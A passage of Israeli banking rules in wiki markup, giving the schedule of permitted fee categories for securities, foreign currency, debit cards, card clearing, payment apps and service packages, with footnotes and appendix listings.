| .... אחוז (מינימום, מכסימום)
|
| ההערות [[תוספת פרט 4א.1|שבסעיף (1)]] יחולו גם על סעיף זה
|- &lt;עוגן פרט 4א.3&gt;
| :: (3) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''קניה, מכירה וכתיבה של חוזים עתידיים במעו&quot;ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי ובלבד שלא יעלה על 2 עמלות}}
|
| הערה (1) [[תוספת פרט 4א.1|שבסעיף (1)]] תחול גם על סעיף זה.
|- &lt;עוגן פרט 4א.4&gt;
| :: (4) &lt;!-- (תיקון: תשס&quot;ח, תשע&quot;ג) --&gt; '''קניה, מכירה ופדיון של ניירות ערך בחוץ לארץ''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
| : מניות, אגרות חוב וקרנות נאמנות .... אחוז (מינימום, מכסימום)
: אופציות .... אחוז (מינימום, מכסימוום)
|
| : (1) במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח - תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד;
: (2) עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים
|- &lt;עוגן פרט 4א.5&gt;
| :: (5) &lt;!-- (תיקון: תשס&quot;ח, תשע&quot;ג) --&gt; '''דמי ניהול פיקדון ניירות ערך''' {{ש}} (לרבות יחידות השתתפות בקרנות נאמנות)
| : הנסחרים בארץ .... אחוז (מכסימום)
: הנסחרים בחוץ לארץ .... אחוז (מכסימום)
: שאינם נסחרים בבורסה .... אחוז (מכסימום)
|
| : (1) לא ניתן לגבות דמי ניהול פיקדון ניירות ערך שאינם נסחרים בבורסה לאחר שנמחקו מהרישום למסחר, למעט במקרה שהלקוח הוא בעל ענין בחברה שניירות הערך שלה נמחקו מהמסחר בעקבות הצעת רכש מלאה, כמשמעותה [[בסעיף 336 לחוק החברות, התשנ&quot;ט-1999]];
: (2) לא ניתן לגבות דמי ניהול פיקדון ניירות ערך בעבור מלווה קצר מועד או בעבור קרן כספית כהגדרתה [[בתקנות השקעות משותפות בנאמנות (נכסים שמותר לקנות ולהחזיק בקרן ושיעוריהם המרביים), התשנ&quot;ה-1994]].
|- &lt;עוגן פרט 4א.6&gt;
| :: (6) &lt;!-- (תיקון: תשס&quot;ח, תשע&quot;ג) --&gt; '''העברת ניירות ערך'''
| : לחשבון אותו לקוח בגוף פיננסי אחר - .... ש&quot;ח (להעברה) (בפיקוח)
: לחשבון לקוח אחר - .... אחוז (מינימום, מכסימום לתיק)
|
| : (1) &quot;חשבון אותו לקוח&quot;, לרבות חשבון משותף של הלקוח עם בן או בת זוגו((;))
: (2) העברת ניירות ערך לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש&quot;ח להעברת התיק והוצאות צד ג'&lt;sup&gt;3&lt;/sup&gt;((;))
: (3) &quot;גוף פיננסי&quot; - כהגדרתו [[בחוק בנק ישראל, התש&quot;ע-2010]].
|- &lt;עוגן פרט 4א.7&gt;
| :: (7) '''המרת איגרות חוב ושטרי הון למניות, מימוש אופציות והמרת ניירות ערך דואליים'''
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי על פי סוג הפעולה ובלבד שלא יעלה על 2 עמלות}}
| ||
|- &lt;עוגן פרט 4ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 4ב.1&gt;
| :: (1) '''טיפול בהזמנה של ניירות ערך בהנפקה'''
| : איגרות חוב ממשלתיות .... אחוז (מינימום)
: שאר ניירות הערך .... אחוז (מינימום)
| ||
|- &lt;עוגן פרט 4ב.2&gt;
| :: (2) '''עמלת הפצה מרוכש יחידת השתתפות בקרן נאמנות'''
| לפי סוג הקרן
|
| במקרים המותרים לפי [[תקנות השקעות משותפות בנאמנות (עמלת הפצה), התשס&quot;ו-2006]]
|- &lt;עוגן פרט 4ב.3&gt;
| :: (3) '''השאלת ניירות ערך לצורך מכירה בחסר'''
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
| ||
|- &lt;עוגן פרט 4ב.4&gt;
| :: (4) '''עמלת קסטודיאן'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן תוספת 1 חלק 5&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 5 - מטבע חוץ&lt;sup&gt;6&lt;/sup&gt;'''}}}}
|- &lt;עוגן פרט 5.1&gt;
| :: (1) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''עמלת חליפין'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.2&gt;
| :: (2) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''הפקדת מזומן לחשבון מטבע חוץ או משיכת מזומן מחשבון מטבע חוץ'''
| פירוט הפרשי השער
| ||
|- &lt;עוגן פרט 5.3&gt;
| :: (3) '''החלפת מזומן''' {{ש}} {{מוקטן|שירות זה כולל: החלפת שטרות בלא שערים, ישנים או פגומים}}
| .... אחוז (מינימום)
| ||
|- &lt;עוגן פרט 5.4&gt;
| :: (4) '''גביית שיקים במטבע חוץ'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.5&gt;
| :: (5) '''הפקדת שיק / פדיון שיק או המחאת נוסעים'''
| : .... דולר + .... אחוז
: {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
| ||
|- &lt;עוגן פרט 5.6&gt;
| :: (6) '''מכירת המחאות נוסעים'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.7&gt;
| :: (7) '''שיק בנקאי'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.8&gt;
| :: (8) '''טיפול בשיק משוך על חשבון מטבע חוץ ומוצג לגביה'''
| : על ידי בנק בחוץ לארץ .... אחוז (מינימום, מכסימום)
: על ידי בנק אחר בארץ .... אחוז (מינימום, מכסימום)
: על ידי סניף הבנק בארץ .... דולר
| ||
|- &lt;עוגן פרט 5.9&gt;
| :: (9) '''העברת מטבע חוץ לחוץ לארץ ומחוץ לארץ'''
| : חד-פעמית - .... אחוז (מינימום, מכסימום)
: קבועה - .... אחוז (מינימום, מכסימום)
| || העברת רנטות או פנסיות לנפגעי נאצים פטורה מעמלה
|- &lt;עוגן פרט 5.10&gt;
| :: (10) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''העברת מטבע חוץ בארץ ומבנק אחר בארץ'''
| : לחשבון או מחשבון אותו לקוח - .... דולר (בפיקוח)
: העברה אחרת - .... אחוז (מינימום, מכסימום)
| || : &quot;חשבון אותו לקוח&quot; - לרבות חשבון שהלקוח מנהל יחד עם בן או בת זוגו.
: העברת מטבע חוץ לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש&quot;ח&lt;sup&gt;3&lt;/sup&gt;
|- &lt;עוגן פרט 5.11&gt;
| :: (11) '''ימי ערך'''
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח לתעריפון}}
| ||
|- &lt;עוגן פרט 5.12&gt;
| :: (12) &lt;!-- (תיקון: י&quot;פ תשפ&quot;ב; תשפ&quot;ד) --&gt; '''כיסוי אוטומטי של יתרת חובה בחשבון מטבע חוץ'''
| .... אחוז
|
| : (1) הכיסוי האוטומטי של יתרת חובה בחשבון מטבע חוץ יבוצע מחשבון במטבע ישראלי;
: (2) חישוב שיעור המחיר יתבצע מתוך הסכום במטבע ישראלי, אשר יומר כדי לכסות את יתרת החובה במטבע חוץ.
|- &lt;עוגן תוספת 1 חלק 6&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשע&quot;ה-3) --&gt; {{ממורכז|{{מוגדל|'''חלק 6 - כרטיסי חיוב'''}}}}
|- &lt;עוגן פרט 6.1&gt;
| :: (1) &lt;!-- (תיקון: תשע&quot;ה-3, תשפ&quot;ו) --&gt; '''דמי כרטיס'''
| : {{מוקטן|לפי סוגי כרטיס שיקבע התאגיד הבנקאי בנספח לתעריפון}}
: .... ש&quot;ח (דמי כרטיס חיוב מיידי - בפיקוח)
| בתום חודש
|
|- &lt;עוגן פרט 6.1א&gt;
| :: (1א) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''דמי טעינה (לגבי כרטיסים נטענים בלבד)'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 6.2&gt;
| :: (2) &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''עמלת תשלום נדחה''' בשל עסקאות שבוצעו עד יום י&quot;א בשבט התשע&quot;ה (31 בינואר 2015)
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 6.3&gt;
| :: (3) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''שינוי מועד חיוב''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 6.4&gt;
| :: (4) '''טיפול בהכחשה לא מוצדקת של עסקה'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 6.5&gt;
| :: (5) '''פירעון מוקדם או פירעון מיידי של עסקאות'''
| .... ש&quot;ח
|
| : לבקשה פירעון מוקדם של כל העסקאות בשל ביטול הכרטיס ייחשב לבקשה אחת;
: סך כל העמלות בעד ביטול כרטיס אגב סגירת חשבון במקרה שמנפיק הכרטיס הוא הבנק, יהיה כפוף לתקרה של 40 ש&quot;ח((.))
|- &lt;עוגן פרט 6.6&gt;
| :: (6) '''הנפקת כרטיס חליפי'''
| : הנפקה רגילה .... ש&quot;ח
: הנפקה מיידית .... ש&quot;ח
| ||
|- &lt;עוגן פרט 6.7&gt;
| :: (7) &lt;!-- (תיקון: תשע&quot;ג, תשע&quot;ה, תשע&quot;ה-2, תשע&quot;ה-4) --&gt; '''עסקאות במטבע חוץ'''
| : עסקאות בדולר או באירו .... אחוז
: עסקאות במטבע אחר .... אחוז
|
| העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין-לאומי.
|- &lt;עוגן פרט 6.8&gt;
| :: (8) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ה-2, תשע&quot;ה-4) --&gt; '''משיכת מטבע חוץ'''
| : משיכת מזומן בדולר או באירו ממכשיר אוטומטי - .... אחוז
: משיכת מזומן במטבע אחר ממכשיר אוטומטי - .... אחוז
: משיכת מזומן בדולר או באירו בדלפק - .... אחוז
: משיכת מזומן במטבע אחר בדלפק - .... אחוז
: משיכת מזומן במטבע חוץ מחשבון המנוהל באותו מטבע - .... ש&quot;ח
|
| העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין-לאומי.
|- &lt;עוגן פרט 6.9&gt;
| :: (9) '''רכישת מטבע חוץ מחלפן באמצעות כרטיס אשראי'''
| .... דולר
| ||
&lt;!--
|-
! שירות !! colspan=&quot;3&quot; | מחיר
--&gt;
|- &lt;עוגן תוספת 1 חלק 7&gt;
| {{מוגדל|'''חלק 7 - סחר חוץ'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 8&gt;
| {{מוגדל|'''חלק 8 - עסקאות עתידיות, עסקאות בין-מטבעיות ואחרות'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 9&gt;
| &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ז, תשע&quot;ט) --&gt; {{מוגדל|'''חלק 9 - שירותים מיוחדים'''}}
| colspan=&quot;3&quot; | : לפי פירוט שיקבע התאגיד הבנקאי
: {{מוקטן|למשל: שמירת דואר בסניף, שכירת כספות, משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי, טיפול בהמחאת זכות, ייעוץ פנסיוני כהגדרתו [[בחוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים), התשס&quot;ה-2005]], משיכת מזומן במכשיר אוטומטי באמצעות כרטיס נטען שלא מקושר לחשבון תשלום אחר&lt;sup&gt;7&lt;/sup&gt;, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס חיוב אשר הונפק בחו&quot;ל או על ידי שלוחה של בנק זר}}
|- &lt;עוגן תוספת 1 חלק 9א&gt;
| &lt;!-- (תיקון: תשפ&quot;ו) --&gt; {{מוגדל|'''חלק 9א - שירותים ללקוח מזדמן'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי מתוך השירותים הקיימים [[בחלק $ תוספת|1]] ובנספח ו' לתעריפון המלא, והמוצעים ללקוח מזדמן
|- &lt;עוגן תוספת 1 חלק 10&gt;
| {{מוגדל|'''חלק 10 - יהלומים'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 11&gt;
| &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ה-3) --&gt; {{מוגדל|'''חלק 11 - הוצאות צד שלישי'''}}
| colspan=&quot;3&quot; | : לפי פירוט שיקבע התאגיד הבנקאי בהתאם להוצאות הממשיות. התאגיד הבנקאי יציין בהערות לכל שירות אם נגבו בעדו הוצאות בעבור צד שלישי.
: {{מוקטן|למשל: {{ש}} אגרות רישום שונות {{ש}} הערכת שמאי {{ש}} ביטוח הלוואה לדיור EMI {{ש}} ייפוי כוח נוטריוני {{ש}} בדיקת רישומים ברשם החברות {{ש}} בדיקת רישומים ברשם המקרקעין {{ש}} החזר שיק או הרשאה לחיוב חשבון לטובת הבנק {{ש}} הוצאות בנק קורספונדנט {{ש}} הוצאות ברוקר בחוץ לארץ {{ש}} ביטוח כספת {{ש}} דואר לחוץ לארץ {{ש}} דואר רשום {{ש}} משלוח כרטיס חיוב חליפי לחוץ לארץ {{ש}} שימוש במכשירים לקריאת כרטיסי חיוב {{ש}} משיכת מזומן במטבע חוץ בחוץ לארץ בדלפק}}
&lt;!--
|-
! שירות !! מחיר !! מועד הגביה !! הערות
--&gt;
|- &lt;עוגן תוספת 1 חלק 12&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשע&quot;ה) --&gt; {{ממורכז|{{מוגדל|'''חלק 12 - סליקה של עסקאות בכרטיס חיוב'''}}}}
|- &lt;עוגן פרט 12.1&gt;
| :: (1) דמי ניהול חשבון סליקה
| בית עסק פעיל - .... ש&quot;ח
| בתחילת החודש בעד החודש שקדם לו
| &quot;בית עסק פעיל&quot; - בית עסק שנסלקה בעבורו פעולת סליקה אחת לפחות במהלך חודש; תאגיד בנקאי לא יגבה מבית עסק פעיל עמלה זו אם סך עמלות הסליקה באותו חודש גבוה ממנה, ובכל מקרה סכומה לא יעלה על ההפרש שבינה לבין סך עמלות הסליקה; העמלה תחושב פעם אחת בחודש בעבור כל סוגי כרטיסי החיוב הנסלקים יחד, ובהתייחס לכלל העסקאות, לרבות עסקאות שנוכו על ידי נותן שירותי ניכיון כהגדרתו [[בסעיף 7א לחוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]]
|- &lt;עוגן פרט 12.2&gt;
| :: (2) דמי הצטרפות של בית עסק אלקטרוני
| .... ש&quot;ח
|
| &quot;בית עסק אלקטרוני&quot; - בית עסק המאפשר ביצוע פעולות מכירה או קנייה, שהתשלום בעדן מבוצע באמצעות האינטרנט או באמצעות הטלפון הנייד (הסלולרי)
|- &lt;עוגן פרט 12.3&gt;
| :: (3) שירותי אימות פרטים וביטוח
| : ביטוח עסקה - .... ש&quot;ח לעסקה
: אימות פרטים לכרטיס - .... ש&quot;ח לעסקה
| ||
|- &lt;עוגן פרט 12.4&gt;
| :: (4) ביטול עסקה
| .... ש&quot;ח לעסקה
| ||
|- &lt;עוגן פרט 12.5&gt;
| :: (5) החזר חיוב (Charge Back)
| .... ש&quot;ח לעסקה
| ||
|- &lt;עוגן פרט 12.6&gt;
| :: (6) עיבוד שובר ידני
| .... ש&quot;ח לשובר
| ||
|- &lt;עוגן פרט 12.7&gt;
| :: (7) עמלת סליקה
| ||
| לפי פירוט שייקבע בהסכם ההתקשרות עם בית העסק
|- &lt;עוגן תוספת 1 חלק 13&gt;
| &lt;!-- (תיקון: תשע&quot;ה) --&gt; {{מוגדל|'''חלק 13 - שירותי ניכיון לבתי עסק'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 14&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשפ&quot;ה) --&gt; {{ממורכז|{{מוגדל|'''חלק 14 - אפליקציית תשלום&lt;sup&gt;8&lt;/sup&gt;'''}}}}
|- &lt;עוגן פרט 14א&gt;
| colspan=&quot;4&quot; | '''14(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 14א.1&gt;
| :: (1) &lt;!-- (תיקון: תשפ&quot;ה, תשפ&quot;ו) --&gt; קבלת תשלום (מעבר לסף פעילות של .... ש&quot;ח בשנה) 
| כפי שיקבע התאגיד הבנקאי
|
| : (1) עמלה זו תיגבה בעד זיכוי המתקבל בחשבון תשלום שמנהלת אפליקציית התשלום בעבור הלקוח, או זיכוי המועבר לחשבון תשלום אחר של המוטב;
: (2) (((נמחקה);))
: (3) סף הפעילות לא יפחת מ-25,000 ש&quot;ח, אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
|- &lt;עוגן פרט 14א.2&gt;
| :: (2) &lt;!-- (תיקון: תשפ&quot;ה, תשפ&quot;ו) --&gt; ביצוע הוראת תשלום (מעבר לסף פעילות של .... ש&quot;ח בשנה)
| כפי שיקבע התאגיד הבנקאי
|
| : (1) עמלה זו תיגבה בעד חיוב בחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם, או חיוב המועבר לחשבון תשלום אחר של המוטב; השירות אינו כולל משיכת יתרה מחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם אל חשבון תשלום אחר של המשלם;
: (2) (((נמחקה);))
: (3) סף הפעילות לא יפחת מ-25,000 ש&quot;ח, אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
|- &lt;עוגן פרט 14ב&gt;
| colspan=&quot;4&quot; | '''14(ב) - שירותים מיוחדים'''
|-
| :: דמי מנוי לשירות .... (לפי פירוט שיקבע התאגיד הבנקאי ובאישור המפקח על הבנקים) || .... ש&quot;ח || ||
|- &lt;עוגן תוספת 1 חלק 15&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשפ&quot;ה-2) --&gt; {{ממורכז|{{מוגדל|'''חלק 15 - שירותי ריכוז מידע פיננסי של לקוח וניתוחו&lt;sup&gt;9&lt;/sup&gt;'''}}}}
|- &lt;עוגן פרט 15&gt;
| : '''15''' &lt;!-- (תיקון: תשפ&quot;ה-2) --&gt; (()) לפי פירוט שיקבע התאגיד הבנקאי || || ||
|- &lt;עוגן חלק 16&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשפ&quot;ו) --&gt; {{ממורכז|{{מוגדל|'''חלק 16 - חבילות שירותים'''}}}}
|-
|- &lt;עוגן פרט 16&gt;
| : '''16''' (()) '''חבילה ..........''' (שם החבילה)
: לפי פירוט שיקבע התאגיד הבנקאי, באישור המפקח על הבנקים התאגיד
| ||
| הבנקאי יציג את תכולת החבילה בנספח א'1
|}

@ (תיקון: תשע&quot;ד, תשע&quot;ז, תשע&quot;ט, תשפ&quot;ה, תשפ&quot;ה-2, תשפ&quot;ו)
: {{מוקטן|1}} (()) {{מוקטן|משיכה ממכשיר סמוך לסניף או ממכשיר נדרש באמצעות כל כרטיס, או משיכה ממכשיר מרוחק באמצעות כרטיס שהתאגיד הבנקאי הנפיק; לגבי משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי - התאגיד הבנקאי רשאי לגבות מחיר שונה, שיפורט [[תוספת 1 חלק 9|בחלק 9 לתעריפון]].}}
: {{מוקטן|2}} (()) {{מוקטן|יש לשים לב לסעיף 2(ד) להוראת ניהול בנקאי תקין מס' 415 [[=כללי הגילוי הנאות|ולסעיף 31 לכללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים), התשנ&quot;ב-1992]] (להלן - כללי הגילוי הנאות), שהעולה מהם הוא שהתאגיד הבנקאי אינו רשאי לגבות עמלה בעד שאילתה על מידע בסיסי כהגדרתו שם, ככל שהשאילתה פוטרת את התאגיד הבנקאי מלשלוח ללקוח, על פי [[כללי הגילוי הנאות]], מידע זה; הוראת הניהול הבנקאי התקין האמורה ניתנת לעיון באתר האינטרנט של בנק ישראל, שכתובתו: www.bankisrael.gov.il (להלן - אתר האינטרנט).}}
: {{מוקטן|3}} (()) {{מוקטן|סך כל העמלות שיגבה התאגיד הבנקאי בשל פעולות לסגירת חשבון המפורטות להלן לא יעלה על 40 ש&quot;ח (לא כולל עמלות בעד שירות מסלול, החזר הוצאות מסלקת הבורסה, קורספונדנט ועמלות פירעון מוקדם): העברת ניירות ערך לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברת ניירות ערך זרים לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברה בנקאית לחשבון של אותו לקוח בתאגיד בנקאי אחר בארץ, העברת מטבע חוץ לחשבון של אותו לקוח בתאגיד בנקאי אחר בארץ, החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בתאגיד הבנקאי, אישור יתרה לפני פירעון מוקדם, ביטול הרשאות לחיוב חשבון וביטול הוראות קבע.}}
:: {{מוקטן|(((החל מיום 1.7.2027):)) סך כל העמלות שיגבה התאגיד הבנקאי בשל פעולות לסגירת חשבון המפורטות להלן לא יעלה על 40 ש&quot;ח (לא כולל החזר הוצאות מסלקת הבורסה, קורספונדנט ועמלות פירעון מוקדם): העברת ניירות ערך לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברת ניירות ערך זרים לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברה בנקאית לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברת מטבע חוץ לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בתאגיד הבנקאי, אישור יתרה לפני פירעון מוקדם, ביטול הרשאות לחיוב חשבון וביטול הוראות קבע.}}
: {{מוקטן|4}} (()) {{מוקטן|אך לרבות &quot;קרן מחקה&quot; כהגדרתה [[בחוק השקעות משותפות בנאמנות, התשנ&quot;ד-1994]], וכן של קרן להשקעות משותפות בנאמנות, שיחידותיה רשומות בבורסה לניירות ערך בתל אביב.}}
: {{מוקטן|5}} (()) {{מוקטן|אך לרבות אופציה במחיר מימוש 1 ש&quot;ח, הנסחרת בשוק המעו&quot;ף.}}
: {{מוקטן|6}} (()) {{מוקטן|עמלות בעד שירותים שאינם כלולים [[תוספת חלק 5|בחלק זה]], אך כלולים [[תוספת חלק 1|בחלק 1]], ייגבו על פי האמור [[תוספת חלק 1|בחלק 1]]. לעניין חישוב העמלה המינימלית כאמור [[תוספת חלק 1|בחלק 1]] - הפקדת מזומן לחשבון מטבע חוץ, משיכת מזומן מחשבון מטבע חוץ, הפקדת שיק, פדיון שיק, העברת מטבע חוץ לחוץ לארץ ומחוץ לארץ, העברת מטבע חוץ בארץ ומבנק אחר בארץ, טיפול בשיק משוך על חשבון מטבע חוץ ומוצג לגביה, ייחשבו כפעולה על ידי פקיד.}}
:: {{מוקטן|(((החל מיום 1.7.2027):)) עמלות בעד שירותים שאינם כלולים [[תוספת חלק 5|בחלק זה]], אך כלולים [[תוספת חלק 1|בחלק 1]], ייגבו על פי האמור [[תוספת חלק 1|בחלק 1]].}}
: {{מוקטן|7}} (()) {{מוקטן|מחיר השירות ייקבע בדרך של שיעור מסכום המשיכה.}}
: {{מוקטן|8}} (()) {{מוקטן| [[תוספת חלק 14|חלק 14]] חל על שירות מקוון שמאפשר למשלם להעביר כספים למוטב על סמך פרט מזהה של המוטב, ומאפשר למוטב לקבל כספים על סמך פרט מזהה שלו; ואולם [[תוספת חלק 14|חלק 14]] אינו חל על אפליקציית תשלום של תאגיד בנקאי, המשמשת רק לקוחות שמנהלים חשבון עובר ושב באותו תאגיד בנקאי.}}
: {{מוקטן|9}} (()) {{מוקטן| [[תוספת חלק 15|חלק זה]] נוגע רק לשירותים הכוללים ריכוז מידע מגופים פיננסיים שונים, ובכלל זה התאגיד הבנקאי.}}

@ (תיקון: תשע&quot;ז, תשפ&quot;ד, תשפ&quot;ו) : '''נספחים לתעריפון, שיימסרו ללקוח:'''
: נספח א' - הטבות לקבוצות אוכלוסיה
: נספח א'1 - (((החל מיום 1.7.2027):)) חבילות שירותים - [[$ תוספת|חלק 16]]
: נספח ב' - שיקים מסחריים ומיוחדים
: נספח ג' - טבלת ימי הערך
: נספח ד' - דמי כרטיס, לפי סוג הכרטיס
: נספח ה' - הטבות בערוצי בנקאות בתקשורת. הנספח יכלול הטבות במחירי שירותים המוצעים בערוצים הישירים (בהתאם [[לסעיף 2(ג) לכללים]]) ובאמצעות ערוץ מוקד טלפוני מאויש, אם ניתנת בו הטבה. הנספח יכיל טבלה ובה עמודות אלה:
:: (א) עמודה שכותרתה &quot;שם השירות&quot; ובה יתוארו השירותים באופן הקבוע [[בתוספת זו]];
:: (ב) עמודה שכותרתה &quot;מחיר לפי סוגי ערוצים&quot; ובה יובאו המחירים בפילוח לפי סוגי הערוצים הקיימים בתאגיד הבנקאי, וכן בערוץ המוקד הטלפוני המאויש, אם ניתנת בו הטבה;
:: (ג) עמודה שכותרתה &quot;מחיר באמצעות פקיד&quot; ובה יובאו מחירי השירותים באמצעות פקיד, שנקבעו לפי [[תוספת זו]].
: נספח ו' - (((החל מיום 1.7.2027):)) שירותים הנכללים בשירות &quot;ניהול חשבון תשלום&quot;
:: הנספח מפרט את השירותים הכלולים [[פרט 1א.1א|בפרט 1(א)(1א) לתעריפון המלא]], שעניינו &quot;ניהול חשבון תשלום&quot;:
:: {| style=&quot;width:80%; margin: auto;&quot;
! width=&quot;40%&quot; | שם השירות !! width=&quot;60%&quot; | הערות
|-
| : (1) הפקדה, משיכה ופריטה של מזומן, לרבות במכשיר אוטומטי
| : (1) השירות כולל פעולה במטבעות מתחת ל-100 מטבעות או פעולה בשטרות מתחת לסכום של 10,000 ש&quot;ח; מעל הכמות או הסכום האמורים ראו שירות &quot;טיפול במזומנים על ידי פקיד&quot;;
: (2) פעולת פריטת מזומן כוללת את משיכתו או הפקדתו;
: (3) פעולת פריטה הכוללת מטבעות ושטרות, תמנה כפעולה אחת בלבד;
: (4) השירות כולל פעולה בחשבון התשלום של משיכת מזומן ממכשיר אוטומטי; למעט פעולה בחשבון התשלום של משיכת מזומן ממכשיר מרוחק, שאינו מכשיר נדרש, באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי - במקרה זה, התאגיד הבנקאי רשאי לגבות מחיר שונה שיפורט בחלק 9 לתעריפון
|-
| : (2) העברה לחשבון אחר
| : השירות כולל העברות בכל מערכות התשלומים, בין היתר, העברה של עד 1 מיליון ש&quot;ח לבנק אחר באמצעות מערכת הזיכויים וההעברות בזמן אמת (RTGS);
: בהעברה של מעל 1 מיליון ש&quot;ח לבנק אחר - ראו שירות &quot;העברה במערכת הזיכויים וההעברות בזמן אמת (RTGS) מעל 1 מיליון ש&quot;ח&quot;
|-
| : (3) משיכת שיק מחשבון המשלם ||
|-
| : (4) פדיון שיק (משיכת התמורה במזומן כולל משיכה בשיק עצמי) ||
|-
| : (5) הפקדת שיק לפירעון בחשבון המוטב, לרבות באמצעות תיבת שירות || כל קבוצת שיקים, המופקדת יחד, עד 20 שיקים, תיחשב כפעולה אחת
|-
| : (6) תשלום שובר ||
|-
| : (7) זיכוי חשבון באמצעות מסלקה ||
|-
| : (8) חיוב חשבון התשלום בשל תשלומים בכרטיס אשראי || לא כולל חיוב חשבון התשלום בשל תשלומים בכרטיס חיוב מיידי
|-
| : (9) חיוב מכוח הרשאה לחיוב חשבון או הוראת קבע ||
|-
| : (10) הוראה לביטול חיוב:
:: (1) שיק;
:: (2) חיוב בודד מכוח הרשאה לחיוב חשבון;
:: (3) הוראת תשלום בודדת מכוח הוראת קבע
| במקרה של ביטול סדרה של שיקים עוקבים או סדרת חיובים עוקבים מכוח הוראת קבע, ייספרו לכל היותר 3 פעולות
|-
| : (11) שיק ממוחשב שהופקד לפירעון עתידי - שירות זה כולל:
:: (1) הפקדת השיק;
:: (2) שינוי מועד להצגת השיק לפירעון;
:: (3) ביטול הפקדת השיק טרם פירעונו
|
|-
| : (12) הדפסה של מסמכים המצויים במאגר הממוחשב, לבקשת לקוח ||
|-
| : (13) הדפסת דוחות שגרתיים שאינם כרוכים באיסוף מידע, לבקשת לקוח ||
|-
| : (14) איתור מסמכים, לבקשת לקוח ||
|}

== תוספת שניה ==
==== ((([[סעיף 3(1)]]))) ====
=== תעריפון עובר ושב (((החל מיום 1.7.2027: תעריפון חשבון תשלום))) (תיקון: תשפ&quot;ו) ===
@ (תיקון: תשס&quot;ח, תשס&quot;ח-2, תשע&quot;ג, תשע&quot;ד, תשע&quot;ה, תשע&quot;ה-3, תשע&quot;ו, תשע&quot;ט, תשפ&quot;ד, תשפ&quot;ו)
: {| width=&quot;100%&quot;
! colspan=&quot;2&quot; | שירות !! width=&quot;20%&quot; | מחיר
|- &lt;עוגן פרט 1&gt;
